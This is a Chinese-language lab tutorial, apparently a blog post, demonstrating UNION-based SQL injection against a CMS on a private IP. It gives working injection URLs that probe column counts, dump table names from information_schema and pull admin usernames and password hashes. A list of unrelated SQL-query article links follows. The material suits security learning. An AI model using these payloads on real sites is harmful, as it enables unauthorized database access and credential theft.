01-sql-聯合查詢
查詢
語法
select… union select…
條件
1.查詢的兩張表具有列數
2.查詢的兩張表具有相同的欄位
過程
探測網站是否存在注入點
開啟網站主頁,隨便開啟一個一條新聞
http://192.168.36.131/cms/show.php?id=33
可以看到URL中出現id,改變id值,頁面出現跳轉
http://192.168.36.131/cms/show.php?id=34
查詢當前資料庫中資料表的列數
使用order by查詢當前資料庫中資料表的列數
http://192.168.36.131/cms/show.php?id=34 order by 15
此處頁面正常顯示
查詢回顯位
以下接著進行聯合查詢
http://192.168.36.131/cms/show.php?id=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
頁面沒有回顯,將id的值置為假
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
發現有2個回顯位(3號位和11號位)
查詢當前資料庫中資料表的列數
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(table_name),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()
對錶名進行解碼(十六進位制)
(636D735F61727469636C65)轉換得到當前表名(cms_article)
為了得到當前資料庫的所有表名,使用groupconcat()
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()
(636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273)十六進位制轉換得到(cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users)
查詢資料後臺賬號和密碼
根據得到的資料表名,猜想資料庫賬號和密碼儲存在cms_users中,對cms_users進行查詢
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,concat(username,0x2a,password),4,5,6,7,8,9,10,database(),12,13,14,15 from cms_users
MD5解碼得到密碼是123456
至此成功登陸網站後臺
相關文章
- thinkPHP多表聯合查詢PHP
- jpa動態查詢與多表聯合查詢
- JPA 之 多表聯合查詢
- SQL 三表聯合查詢SQL
- 按月分表聯合查詢
- 基於聯合查詢的注入
- 模型聯合查詢返回指定欄位模型
- mybatis多表聯合查詢的寫法MyBatis
- 多表聯合查詢 - 基於註解SQLSQL
- MySQL自聯合查詢的一個例子MySql
- Yii2聯合查詢(配合GridView)View
- beego orm join 聯合查詢的問題GoORM
- SQL多個表實現聯合查詢SQL
- MYSQL學習筆記24: 多表查詢(聯合查詢,Union, Union All)MySql筆記
- jpa 聯合查詢資料,查詢使用者資訊與部門資訊
- 資料庫學習(六)聯合查詢union資料庫
- SQL聯合查詢中的關鍵語法SQL
- 兩個TABALE在聯合查詢很慢的問題
- Sql Server 聯合查詢的排序規則衝突SQLServer排序
- goldendate呼叫sql實現類似表聯合查詢GoSQL
- django 兩個表或多個表聯合查詢Django
- 合併查詢
- MySQL聯結查詢和子查詢MySql
- Elasticsearch複合查詢——boosting查詢Elasticsearch
- mysql-分組查詢-子查詢-連線查詢-組合查詢MySql
- MySQL--操作簡記(聯結表,組合查詢(UNION))MySql
- SQL Server 多表聯合查詢取最新一條資料SQLServer
- 注意:Oracle中的聯合主鍵查詢問題(轉)Oracle
- 區分關聯子查詢和非關聯子查詢
- exist-in和關聯子查詢-非關聯子查詢
- MyBatis關聯查詢MyBatis
- thinkphp關聯查詢PHP
- 組合查詢 (轉)
- 組合查詢(UNION)
- 使用 Amazon Aurora PostgreSQL 聯合查詢、pg_cron 和 Amazon LambdaSQL
- MyBatis 多表聯合查詢,欄位重複的解決方法MyBatis
- hibernate懶載入導致多表聯合查詢失敗
- 關聯查詢子查詢效率簡單比照